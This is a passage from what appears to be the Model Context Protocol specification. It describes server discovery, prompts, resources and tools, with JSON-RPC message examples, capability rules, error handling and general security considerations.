(if/then/else), reference keywords (\$ref, \$defs, \$anchor), and any other
standard validation or annotation keywords.
Property schemas may carry an x-mcp-header annotation to mirror the
argument value into an HTTP header on the Streamable HTTP transport. See
the Streamable HTTP transport specification for the validity and
extraction rules.
Defaults to JSON Schema 2020-12 when no explicit \$schema is provided.
An optional JSON Schema object defining the structure of the tool's output returned in
the structuredContent field of a CallToolResult. This can be any valid JSON Schema 2020-12.
Defaults to JSON Schema 2020-12 when no explicit \$schema is provided.
annotations?: ToolAnnotations
Optional additional tool information.
Display name precedence order is: title, annotations.title, then name.
Additional properties describing a Tool to clients.
NOTE: all properties in ToolAnnotations are hints.
They are not guaranteed to provide a faithful description of
tool behavior (including descriptive properties like title).
Clients should never make tool use decisions based on ToolAnnotations
received from untrusted servers.
title?: string
A human-readable title for the tool.
readOnlyHint?: boolean
If true, the tool does not modify its environment.
Default: false
destructiveHint?: boolean
If true, the tool may perform destructive updates to its environment.
If false, the tool performs only additive updates.
(This property is meaningful only when readOnlyHint == false)
Default: true
idempotentHint?: boolean
If true, calling the tool repeatedly with the same arguments
will have no additional effect on its environment.
(This property is meaningful only when readOnlyHint == false)
Default: false
openWorldHint?: boolean
If true, this tool may interact with an "open world" of external
entities. If false, the tool's domain of interaction is closed.
For example, the world of a web search tool is open, whereas that
of a memory tool is not.
Default: true
# Discovery
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/discover
`server/discover` lets a client query a server's supported protocol versions,
capabilities, and identity before sending any other requests. Servers **MUST**
implement it.
## Request
The request carries no body parameters beyond the standard `_meta`:
```json theme={null}
{
"jsonrpc": "2.0",
"id": "discover-1",
"method": "server/discover",
"params": {
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {}
}
}
}
```
## Response
The server replies with its supported protocol versions, capabilities, and
identity. This operation supports [caching](/specification/2026-07-28/server/utilities/caching).
```json theme={null}
{
"jsonrpc": "2.0",
"id": "discover-1",
"result": {
"resultType": "complete",
"supportedVersions": ["2026-07-28"],
"capabilities": {
"tools": {},
"resources": {}
},
"_meta": {
"io.modelcontextprotocol/serverInfo": {
"name": "ExampleServer",
"version": "1.0.0"
}
},
"instructions": "This server provides weather and resource utilities.",
"ttlMs": 3600000,
"cacheScope": "public"
}
}
```
## When to Call
Calling `server/discover` is optional for clients — a client may invoke any
RPC inline and handle
[`UnsupportedProtocolVersionError`](/specification/2026-07-28/schema#unsupportedprotocolversionerror)
if the server does not support the requested version. However, `server/discover`
is useful in two scenarios:
* **Presenting server information.** While a client doesn't need to call
`server/discover` to use the server, it's a convenient way to retrieve the
server's identity, capabilities, and supported versions in a single request.
For example, a client can present the capabilities a server supports from a
single `server/discover` response instead of probing with separate
`tools/list`, `prompts/list`, and `resources/list` requests.
* **stdio backward-compatibility probe.** On stdio, there is no per-request
HTTP status code to drive fallback. A client that supports both modern
(per-request `_meta`) and legacy (`initialize` handshake) servers **SHOULD**
send `server/discover` first; see
[stdio: Backward Compatibility](/specification/2026-07-28/basic/transports/stdio#backward-compatibility)
for the fallback rules.
See [Protocol Version Negotiation](/specification/2026-07-28/basic/versioning#protocol-version-negotiation)
for the full version-selection flow. For HTTP-specific status codes returned for
unknown methods, see the [Protocol Version Header](/specification/2026-07-28/basic/transports/streamable-http#protocol-version-header)
section in Transports.
## Data Types
### DiscoverResult
A discovery result includes:
* `supportedVersions`: Protocol versions the server supports. The client should
choose one of these for subsequent requests.
* `capabilities`: Capabilities the server supports (tools, resources, prompts,
etc.)
* `_meta['io.modelcontextprotocol/serverInfo']`: Name and version of the server
software. Servers **SHOULD** include this field.
* `instructions`: Optional natural-language guidance for LLMs on how to use
this server effectively
`serverInfo` is self-reported by the server and is not verified by the
protocol. It is intended for display, logging, and debugging. Clients **SHOULD
NOT** use it to change their behavior, and **SHOULD NOT** rely on it for
security decisions.
# Overview
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/index
Servers provide the fundamental building blocks for adding context to language models via
MCP. These primitives enable rich interactions between clients, servers, and language
models:
* **Prompts**: Pre-defined templates or instructions that guide language model
interactions
* **Resources**: Structured data or content that provides additional context to the model
* **Tools**: Executable functions that allow models to perform actions or retrieve
information
Each primitive can be summarized in the following control hierarchy:
| Primitive | Control | Description | Example |
| --------- | ---------------------- | -------------------------------------------------- | ------------------------------- |
| Prompts | User-controlled | Interactive templates invoked by user choice | Slash commands, menu options |
| Resources | Application-controlled | Contextual data attached and managed by the client | File contents, git history |
| Tools | Model-controlled | Functions exposed to the LLM to take actions | API POST requests, file writing |
Explore these key primitives in more detail below:
# Prompts
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/prompts
The Model Context Protocol (MCP) provides a standardized way for servers to expose prompt
templates to clients. Prompts allow servers to provide structured messages and
instructions for interacting with language models. Clients can discover available
prompts, retrieve their contents, and provide arguments to customize them.
For brevity, the request examples on this page omit the `_meta` request
metadata (`io.modelcontextprotocol/protocolVersion`,
`io.modelcontextprotocol/clientInfo`, and
`io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
the required `_meta` fields; see
[`_meta`](/specification/2026-07-28/basic/index#meta).
## User Interaction Model
Prompts are designed to be **user-controlled**, meaning they are exposed from servers to
clients with the intention of the user being able to explicitly select them for use.
This refers to who decides when the prompt is used, not who authors its content. Prompt
content is defined by the server.
Typically, prompts would be triggered through user-initiated commands in the user
interface, which allows users to naturally discover and invoke available prompts.
For example, as slash commands:
However, implementors are free to expose prompts through any interface pattern that suits
their needs—the protocol itself does not mandate any specific user interaction
model.
## Capabilities
Servers that support prompts **MUST** declare the `prompts` capability in their
[`DiscoverResult`](/specification/2026-07-28/schema#discoverresult):
```json theme={null}
{
"capabilities": {
"prompts": {
"listChanged": true
}
}
}
```
`listChanged` indicates whether the server will emit notifications when the list of
available prompts changes.
Servers that declare the `prompts` capability **MUST** respond to `prompts/list` requests
with the set of prompts currently available to the requesting client. This set **MAY** be
empty and **MAY** change over time (see
[List Changed Notification](#list-changed-notification)), but **MUST NOT** vary
per-connection or as a side effect of other requests on the connection. The set
**MAY** vary by the authorization presented on the request — for example, returning
only the prompts the caller's granted scopes permit — since credentials are
per-request input, not connection state.
## Protocol Messages
### Listing Prompts
To retrieve available prompts, clients send a `prompts/list` request. This operation
supports [pagination](/specification/2026-07-28/server/utilities/pagination) and [caching](/specification/2026-07-28/server/utilities/caching).
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "prompts/list",
"params": {
"cursor": "optional-cursor-value"
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "complete",
"prompts": [
{
"name": "code_review",
"title": "Request Code Review",
"description": "Asks the LLM to analyze code quality and suggest improvements",
"arguments": [
{
"name": "code",
"description": "The code to review",
"required": true
}
],
"icons": [
{
"src": "https://example.com/review-icon.svg",
"mimeType": "image/svg+xml",
"sizes": ["any"]
}
]
}
],
"nextCursor": "next-page-cursor",
"ttlMs": 600000,
"cacheScope": "public"
}
}
```
### Getting a Prompt
To retrieve a specific prompt, clients send a `prompts/get` request. Arguments may be
auto-completed through [the completion API](/specification/2026-07-28/server/utilities/completion).
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "prompts/get",
"params": {
"name": "code_review",
"arguments": {
"code": "def hello():\n print('world')"
}
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "complete",
"description": "Code review prompt",
"messages": [
{
"role": "user",
"content": {
"type": "text",
"text": "Please review this Python code:\ndef hello():\n print('world')"
}
}
]
}
}
```
Servers **MAY** also respond to `prompts/get` with an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult) to indicate that additional input is needed before the prompt can be resolved. This follows the [multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr#multi-round-trip-requests) mechanism. When retrying the request, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters.
### List Changed Notification
When the list of available prompts changes, servers that declared the `listChanged`
capability **SHOULD** send a notification to clients that have opened a
[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) stream with
`promptsListChanged: true`:
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/prompts/list_changed"
}
```
## Message Flow
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Note over Client,Server: Discovery
Client->>Server: prompts/list
Server-->>Client: List of prompts
Note over Client,Server: Usage
Client->>Server: prompts/get
Server-->>Client: Prompt content
opt listChanged
Client->>Server: subscriptions/listen (promptsListChanged: true)
Server--)Client: notifications/subscriptions/acknowledged
Note over Client,Server: Changes
Server--)Client: notifications/prompts/list_changed
Client->>Server: prompts/list
Server-->>Client: Updated prompts
end
```
## Data Types
### Prompt
A prompt definition includes:
* `name`: Unique identifier for the prompt
* `title`: Optional human-readable name of the prompt for display purposes.
* `description`: Optional human-readable description
* `icons`: Optional array of icons for display in user interfaces
* `arguments`: Optional list of arguments for customization
### PromptMessage
Messages in a prompt can contain:
* `role`: Either "user" or "assistant" to indicate the speaker
* `content`: One of the following content types:
All content types in prompt messages support optional
[annotations](/specification/2026-07-28/server/resources#annotations) for
metadata about audience, priority, and modification times.
#### Text Content
Text content represents plain text messages:
```json theme={null}
{
"type": "text",
"text": "The text content of the message"
}
```
This is the most common content type used for natural language interactions.
#### Image Content
Image content allows including visual information in messages:
```json theme={null}
{
"type": "image",
"data": "base64-encoded-image-data",
"mimeType": "image/png"
}
```
The image data **MUST** be base64-encoded and include a valid MIME type. This enables
multi-modal interactions where visual context is important.
#### Audio Content
Audio content allows including audio information in messages:
```json theme={null}
{
"type": "audio",
"data": "base64-encoded-audio-data",
"mimeType": "audio/wav"
}
```
The audio data MUST be base64-encoded and include a valid MIME type. This enables
multi-modal interactions where audio context is important.
#### Resource Links
Prompt messages **MAY** include links to
[Resources](/specification/2026-07-28/server/resources), to provide additional context or
data without embedding the resource contents directly. In this case, the prompt message
returns a URI that can be fetched by the client:
```json theme={null}
{
"type": "resource_link",
"uri": "file:///project/src/main.rs",
"name": "main.rs",
"description": "Primary application entry point",
"mimeType": "text/x-rust"
}
```
Resource links support the same [Resource annotations](/specification/2026-07-28/server/resources#annotations)
as regular resources to help clients understand how to use them.
#### Embedded Resources
Embedded resources allow referencing server-side resources directly in messages:
```json theme={null}
{
"type": "resource",
"resource": {
"uri": "resource://example",
"mimeType": "text/plain",
"text": "Resource content"
}
}
```
Resources can contain either text or binary (blob) data and **MUST** include:
* A valid resource URI
* The appropriate MIME type
* Either text content or base64-encoded blob data
Embedded resources enable prompts to seamlessly incorporate server-managed content like
documentation, code samples, or other reference materials directly into the conversation
flow.
## Error Handling
Servers **SHOULD** return standard JSON-RPC errors for common failure cases:
* Invalid prompt name: `-32602` (Invalid params)
* Missing required arguments: `-32602` (Invalid params)
* Internal errors: `-32603` (Internal error)
## Implementation Considerations
1. Servers **SHOULD** validate prompt arguments before processing
2. Clients **SHOULD** handle pagination for large prompt lists
3. Both parties **SHOULD** respect capability negotiation
## Security
Implementations **MUST** carefully validate all prompt inputs and outputs to prevent
injection attacks or unauthorized access to resources.
# Resources
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/resources
The Model Context Protocol (MCP) provides a standardized way for servers to expose
resources to clients. Resources allow servers to share data that provides context to
language models, such as files, database schemas, or application-specific information.
Each resource is uniquely identified by a
[URI](https://datatracker.ietf.org/doc/html/rfc3986).
For brevity, the request examples on this page omit the `_meta` request
metadata (`io.modelcontextprotocol/protocolVersion`,
`io.modelcontextprotocol/clientInfo`, and
`io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
the required `_meta` fields; see
[`_meta`](/specification/2026-07-28/basic/index#meta).
## User Interaction Model
Resources in MCP are designed to be **application-driven**, with host applications
determining how to incorporate context based on their needs.
For example, applications could:
* Expose resources through UI elements for explicit selection, in a tree or list view
* Allow the user to search through and filter available resources
* Implement automatic context inclusion, based on heuristics or the AI model's selection
However, implementations are free to expose resources through any interface pattern that
suits their needs—the protocol itself does not mandate any specific user
interaction model.
## Capabilities
Servers that support resources **MUST** declare the `resources` capability:
```json theme={null}
{
"capabilities": {
"resources": {
"listChanged": true,
"subscribe": true
}
}
}
```
The capability supports two optional features:
* `listChanged`: whether the server will emit notifications when the list of available
resources changes.
* `subscribe` : whether the server supports resource-specific update notifications
for resources requested through subscriptions/listen using the resourceSubscriptions
filter.
Servers may advertise either feature independently, together or neither.
Serves that support neither `listChanged` or `subscribe` may omit it:
```json theme={null}
{
"capabilities": {
"resources": {}
}
}
```
Servers that declare the `resources` capability **MUST** respond to `resources/list`
requests with the set of resources currently available to the requesting client. This set
**MAY** be empty and **MAY** change over time (see
[List Changed Notification](#list-changed-notification)), but **MUST NOT** vary
per-connection or as a side effect of other requests on the connection. The set
**MAY** vary by the authorization presented on the request — for example, returning
only the resources the caller's granted scopes permit — since credentials are
per-request input, not connection state.
## Protocol Messages
### Listing Resources
To discover available resources, clients send a `resources/list` request. This operation
supports [pagination](/specification/2026-07-28/server/utilities/pagination) and [caching](/specification/2026-07-28/server/utilities/caching).
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "resources/list",
"params": {
"cursor": "optional-cursor-value"
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "complete",
"resources": [
{
"uri": "file:///project/src/main.rs",
"name": "main.rs",
"title": "Rust Software Application Main File",
"description": "Primary application entry point",
"mimeType": "text/x-rust",
"icons": [
{
"src": "https://example.com/rust-file-icon.png",
"mimeType": "image/png",
"sizes": ["48x48"]
}
]
}
],
"nextCursor": "next-page-cursor",
"ttlMs": 300000,
"cacheScope": "public"
}
}
```
### Reading Resources
To retrieve resource contents, clients send a `resources/read` request. This operation
supports [caching](/specification/2026-07-28/server/utilities/caching).
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "resources/read",
"params": {
"uri": "file:///project/src/main.rs"
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "complete",
"contents": [
{
"uri": "file:///project/src/main.rs",
"mimeType": "text/x-rust",
"text": "fn main() {\n println!(\"Hello world!\");\n}"
}
],
"ttlMs": 60000,
"cacheScope": "private"
}
}
```
Servers **MAY** return multiple resource contents in response to a single
`resources/read` request. For example, a server could return the contents of
several files when a directory resource is read.
Servers **MAY** also respond to `resources/read` with an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult) to indicate that additional input is needed before the resource can be read. This follows the [multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr#multi-round-trip-requests) mechanism. When retrying the request, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters.
Alternatively, if the scheme of `uri` is `https://`, clients may fetch the resource directly from the web. See the [Common URI Schemes section](#https%3A%2F%2F) for more information.
### Resource Templates
Resource templates allow servers to expose parameterized resources using
[URI templates](https://datatracker.ietf.org/doc/html/rfc6570). Arguments may be
auto-completed through [the completion API](/specification/2026-07-28/server/utilities/completion).
This operation supports [pagination](/specification/2026-07-28/server/utilities/pagination) and [caching](/specification/2026-07-28/server/utilities/caching).
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "resources/templates/list",
"params": {
"cursor": "optional-cursor-value"
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"resultType": "complete",
"resourceTemplates": [
{
"uriTemplate": "file:///{path}",
"name": "Project Files",
"title": "📁 Project Files",
"description": "Access files in the project directory",
"mimeType": "application/octet-stream",
"icons": [
{
"src": "https://example.com/folder-icon.png",
"mimeType": "image/png",
"sizes": ["48x48"]
}
]
}
],
"nextCursor": "next-page-cursor",
"ttlMs": 300000,
"cacheScope": "public"
}
}
```
### List Changed Notification
When the list of available resources changes, servers that declared the `listChanged`
capability **SHOULD** send a notification:
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/resources/list_changed"
}
```
### Subscriptions
Clients subscribe to change notifications for specific resources by sending a
[`subscriptions/listen`][subscriptions-listen] request with the resource URIs listed in
`notifications.resourceSubscriptions`. The server delivers
`notifications/resources/updated` on the resulting stream whenever a watched resource
changes.
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/resources/updated",
"params": {
"_meta": { "io.modelcontextprotocol/subscriptionId": 4 },
"uri": "file:///project/src/main.rs"
}
}
```
See [Subscriptions][subscriptions] for the full protocol mechanics (acknowledgment,
`subscriptionId` correlation, and cancellation).
[subscriptions-listen]: /specification/2026-07-28/schema#subscriptionslistenrequest
[subscriptions]: /specification/2026-07-28/basic/patterns/subscriptions
## Message Flow
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Note over Client,Server: Resource Discovery
Client->>Server: resources/list
Server-->>Client: List of resources
Note over Client,Server: Resource Template Discovery
Client->>Server: resources/templates/list
Server-->>Client: List of resource templates
Note over Client,Server: Resource Access
Client->>Server: resources/read
Server-->>Client: Resource contents
Note over Client,Server: Subscribe to changes
Client->>Server: subscriptions/listen (resourceSubscriptions)
Server--)Client: notifications/subscriptions/acknowledged
Note over Client,Server: Resource updated
Server--)Client: notifications/resources/updated
Client->>Server: resources/read
Server-->>Client: Updated contents
```
## Data Types
### Resource
A resource definition includes:
* `uri`: Unique identifier for the resource
* `name`: The name of the resource.
* `title`: Optional human-readable name of the resource for display purposes.
* `description`: Optional description
* `icons`: Optional array of icons for display in user interfaces
* `mimeType`: Optional MIME type
* `size`: Optional size in bytes
### Resource Contents
Resources can contain either text or binary data:
#### Text Content
```json theme={null}
{
"uri": "file:///example.txt",
"mimeType": "text/plain",
"text": "Resource content"
}
```
#### Binary Content
```json theme={null}
{
"uri": "file:///example.png",
"mimeType": "image/png",
"blob": "base64-encoded-data"
}
```
### Annotations
Resources, resource templates and content blocks support optional annotations that provide hints to clients about how to use or display the resource:
* **`audience`**: An array indicating the intended audience(s) for this resource. Valid values are `"user"` and `"assistant"`. For example, `["user", "assistant"]` indicates content useful for both.
* **`priority`**: A number from 0.0 to 1.0 indicating the importance of this resource. A value of 1 means "most important" (effectively required), while 0 means "least important" (entirely optional).
* **`lastModified`**: An ISO 8601 formatted timestamp indicating when the resource was last modified (e.g., `"2025-01-12T15:00:58Z"`).
Example resource with annotations:
```json theme={null}
{
"uri": "file:///project/README.md",
"name": "README.md",
"title": "Project Documentation",
"mimeType": "text/markdown",
"annotations": {
"audience": ["user"],
"priority": 0.8,
"lastModified": "2025-01-12T15:00:58Z"
}
}
```
Clients can use these annotations to:
* Filter resources based on their intended audience
* Prioritize which resources to include in context
* Display modification times or sort by recency
## Common URI Schemes
The protocol defines several standard URI schemes. This list is not
exhaustive—implementations are always free to use additional, custom URI schemes.
### https\://
Used to represent a resource available on the web.
Servers **SHOULD** use this scheme only when the client is able to fetch and load the
resource directly from the web on its own—that is, it doesn’t need to read the resource
via the MCP server.
For other use cases, servers **SHOULD** prefer to use another URI scheme, or define a
custom one, even if the server will itself be downloading resource contents over the
internet.
### file://
Used to identify resources that behave like a filesystem. However, the resources do not
need to map to an actual physical filesystem.
MCP servers **MAY** identify file:// resources with an
[XDG MIME type](https://specifications.freedesktop.org/shared-mime-info-spec/0.14/ar01s02.html#id-1.3.14),
like `inode/directory`, to represent non-regular files (such as directories) that don’t
otherwise have a standard MIME type.
### git://
Git version control integration.
### Custom URI Schemes
Custom URI schemes **MUST** be in accordance with [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986),
taking the above guidance in to account.
## Error Handling
If the requested resource does not exist, servers **MUST** return a JSON-RPC error with
code `-32602` (Invalid Params). Servers **SHOULD** return `-32603` for internal errors.
For backwards compatibility, clients **SHOULD** also accept `-32002` as a
resource not found error, as earlier protocol versions used this code.
Servers **MUST NOT** return an empty `contents` array for a non-existent resource. An empty array is ambiguous—it could mean the resource exists but has no content, or that it doesn't exist at all.
Example error:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 5,
"error": {
"code": -32602,
"message": "Resource not found",
"data": {
"uri": "file:///nonexistent.txt"
}
}
}
```
## Security Considerations
1. Servers **MUST** validate all resource URIs
2. Access controls **SHOULD** be implemented for sensitive resources
3. Binary data **MUST** be properly encoded
4. Resource permissions **SHOULD** be checked before operations
5. Servers **MUST** sanitize file paths to prevent directory traversal attacks
when serving `file://` resources
# Tools
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/tools
The Model Context Protocol (MCP) allows servers to expose tools that can be invoked by
language models. Tools enable models to interact with external systems, such as querying
databases, calling APIs, or performing computations. Each tool is uniquely identified by
a name and includes metadata describing its schema.
For brevity, the request examples on this page omit the `_meta` request
metadata (`io.modelcontextprotocol/protocolVersion`,
`io.modelcontextprotocol/clientInfo`, and
`io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
the required `_meta` fields; see
[`_meta`](/specification/2026-07-28/basic/index#meta).
## User Interaction Model
Tools in MCP are designed to be **model-controlled**, meaning that the language model can
discover and invoke tools automatically based on its contextual understanding and the
user's prompts.
However, implementations are free to expose tools through any interface pattern that
suits their needs—the protocol itself does not mandate any specific user
interaction model.
For trust & safety and security, there **SHOULD** always
be a human in the loop with the ability to deny tool invocations.
Applications **SHOULD**:
* Provide UI that makes clear which tools are being exposed to the AI model
* Insert clear visual indicators when tools are invoked
* Present confirmation prompts to the user for operations, to ensure a human is in the
loop
## Capabilities
Servers that support tools **MUST** declare the `tools` capability:
```json theme={null}
{
"capabilities": {
"tools": {
"listChanged": true
}
}
}
```
`listChanged` indicates whether the server will emit notifications when the list of
available tools changes.
Servers that declare the `tools` capability **MUST** respond to `tools/list` requests
with the set of tools currently available to the requesting client. This set **MAY** be
empty and **MAY** change over time (see
[List Changed Notification](#list-changed-notification)), but **MUST NOT** vary
per-connection or as a side effect of other requests on the connection. The set
**MAY** vary by the authorization presented on the request — for example, returning
only the tools the caller's granted scopes permit — since credentials are
per-request input, not connection state.
Servers **SHOULD** return tools in a deterministic order (i.e., the same ordering across
requests when the underlying set of tools has not changed). Deterministic ordering enables
clients to reliably cache the tool list and improves LLM prompt cache hit rates when tools
are included in model context.
## Protocol Messages
### Listing Tools
To discover available tools, clients send a `tools/list` request. This operation supports
[pagination](/specification/2026-07-28/server/utilities/pagination) and [caching](/specification/2026-07-28/server/utilities/caching).
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {
"cursor": "optional-cursor-value"
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "complete",
"tools": [
{
"name": "get_weather",
"title": "Weather Information Provider",
"description": "Get current weather information for a location",
"inputSchema": {
"type": "object",
"properties": {
"location": {
"type": "string",
"description": "City name or zip code"
}
},
"required": ["location"]
},
"icons": [
{
"src": "https://example.com/weather-icon.png",
"mimeType": "image/png",
"sizes": ["48x48"]
}
]
}
],
"nextCursor": "next-page-cursor",
"ttlMs": 300000,
"cacheScope": "public"
}
}
```
### Calling Tools
To invoke a tool, clients send a `tools/call` request:
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "New York"
}
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "complete",
"content": [
{
"type": "text",
"text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy"
}
],
"isError": false
}
}
```
### Input Required Tool Results
Servers **MAY** respond to `tools/call` with an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult) to indicate that additional input is needed before the tool call can be completed. This follows the [multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr#multi-round-trip-requests) mechanism.
When retrying the request with input responses, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters:
**Input Required Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "input_required",
"inputRequests": {
"github_login": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide your GitHub username",
"requestedSchema": {
"type": "object",
"properties": {
"name": { "type": "string" }
},
"required": ["name"]
}
}
}
},
"requestState": "eyJsb2NhdGlvbiI6Ik5ldyBZb3JrIn0..."
}
}
```
**Retry with Input Responses:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "New York"
},
"inputResponses": {
"github_login": {
"action": "accept",
"content": {
"name": "octocat"
}
}
},
"requestState": "eyJsb2NhdGlvbiI6Ik5ldyBZb3JrIn0..."
}
}
```
Note that the JSON-RPC `id` **MUST** be different between the initial request and the retry.
### List Changed Notification
When the list of available tools changes, servers that declared the `listChanged`
capability **SHOULD** send a notification to clients that have opened a
[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) stream with
`toolsListChanged: true`:
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/tools/list_changed"
}
```
## Message Flow
```mermaid theme={null}
sequenceDiagram
participant LLM
participant Client
participant Server
Note over Client,Server: Discovery
Client->>Server: tools/list
Server-->>Client: List of tools
Note over Client,LLM: Tool Selection
LLM->>Client: Select tool to use
Note over Client,Server: Invocation
Client->>Server: tools/call
Server-->>Client: Tool result
Client->>LLM: Process result
opt listChanged
Client->>Server: subscriptions/listen (toolsListChanged: true)
Server--)Client: notifications/subscriptions/acknowledged
Note over Client,Server: Updates
Server--)Client: notifications/tools/list_changed
Client->>Server: tools/list
Server-->>Client: Updated tools
end
```
## Data Types
### Tool
A tool definition includes:
* `name`: Unique identifier for the tool
* `title`: Optional human-readable name of the tool for display purposes.
* `description`: Human-readable description of functionality
* `icons`: Optional array of icons for display in user interfaces
* `inputSchema`: JSON Schema defining expected parameters
* Follows the [JSON Schema usage guidelines](/specification/2026-07-28/basic#json-schema-usage)
* Defaults to 2020-12 if no `$schema` field is present
* **MUST** be a valid JSON Schema object (not `null`)
* For tools with no parameters, use one of these valid approaches:
* `{ "type": "object", "additionalProperties": false }` - **Recommended**: explicitly accepts only empty objects
* `{ "type": "object" }` - accepts any object (including with properties)
* Properties **MAY** include an [`x-mcp-header`](#x-mcp-header) annotation to expose
parameter values as HTTP headers
* `outputSchema`: Optional JSON Schema defining expected output structure
* Follows the [JSON Schema usage guidelines](/specification/2026-07-28/basic#json-schema-usage)
* Defaults to 2020-12 if no `$schema` field is present
* `annotations`: Optional properties describing tool behavior
For trust & safety and security, clients **MUST** consider tool annotations to
be untrusted unless they come from trusted servers.
#### Tool Names
* Tool names **SHOULD** be between 1 and 128 characters in length (inclusive).
* Tool names **SHOULD** be considered case-sensitive.
* The following **SHOULD** be the only allowed characters: uppercase and lowercase ASCII letters (A-Z, a-z), digits
(0-9), underscore (\_), hyphen (-), and dot (.)
* Tool names **SHOULD NOT** contain spaces, commas, or other special characters.
* Tool names **SHOULD** be unique within a server.
* Example valid tool names:
* `getUser`
* `DATA_EXPORT_v2`
* `admin.tools.list`
Tool name uniqueness is scoped to a single server. Clients or proxies that
aggregate tools from multiple servers **MAY** encounter naming collisions (for
example, two servers each exposing a `search` tool) and **SHOULD** implement a
disambiguation strategy such as prefixing tool names with a server identifier.
The server `name` (from `serverInfo`) is not guaranteed to be unique across
servers and **SHOULD NOT** be relied upon for disambiguation.
#### x-mcp-header
The `x-mcp-header` extension property allows servers to designate specific tool
parameters to be mirrored into HTTP headers when using the
[Streamable HTTP transport](/specification/2026-07-28/basic/transports/streamable-http#custom-headers-from-tool-parameters).
This enables network intermediaries (load balancers, proxies, WAFs) to route and process
requests based on parameter values without parsing the request body.
The `x-mcp-header` property is placed directly within the JSON Schema of the property to
be mirrored. Its value specifies the name portion of the resulting `Mcp-Param-{name}`
HTTP header.
**Constraints on `x-mcp-header` values:**
* **MUST NOT** be empty
* **MUST** match HTTP field-name token syntax (`1*tchar`, [RFC 9110 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9110#section-5.1))
* **MUST NOT** contain control characters, including carriage return (CR, `\r`) or
line feed (LF, `\n`)
* **MUST** be case-insensitively unique among all `x-mcp-header` values in the
`inputSchema`
* **MUST** only be applied to parameters with primitive types (integer, string, boolean).
Parameters with type `number` are not permitted. Integer values **MUST** be within the
safe range for integers represented using IEEE754 double-precision floating point numbers (−253+1 to 253−1)
* **MUST** only be applied to properties that are *statically reachable* from the schema
root, as defined in
[Custom Headers from Tool Parameters](/specification/2026-07-28/basic/transports/streamable-http#custom-headers-from-tool-parameters),
which also defines how header values are extracted from call arguments
Clients using the Streamable HTTP transport **MUST** reject tool definitions where any
`x-mcp-header` value violates these constraints. Rejection means the client **MUST**
exclude the invalid tool from the result of `tools/list`. Clients **SHOULD** log a
warning when rejecting a tool definition, including the tool name and the reason for
rejection. This ensures that a single malformed tool definition does not prevent other
valid tools from being used. Clients using other transports (e.g., stdio) **MAY** ignore
`x-mcp-header` annotations entirely.
**Example tool definition with `x-mcp-header`:**
```json theme={null}
{
"name": "execute_sql",
"description": "Execute SQL on Google Cloud Spanner",
"inputSchema": {
"type": "object",
"properties": {
"region": {
"type": "string",
"description": "The region to execute the query in",
"x-mcp-header": "Region"
},
"query": {
"type": "string",
"description": "The SQL query to execute"
}
},
"required": ["region", "query"]
}
}
```
In this example, when the tool is called with `"region": "us-west1"`, the client adds
the header `Mcp-Param-Region: us-west1` to the HTTP request.
Server developers **SHOULD NOT** mark sensitive parameters (passwords, API keys, tokens,
PII) with `x-mcp-header`, as header values are visible to network intermediaries.
### Tool Result
Tool results may contain [**structured**](#structured-content) or **unstructured** content.
**Unstructured** content is returned in the `content` field of a result, and can contain multiple content items of different types:
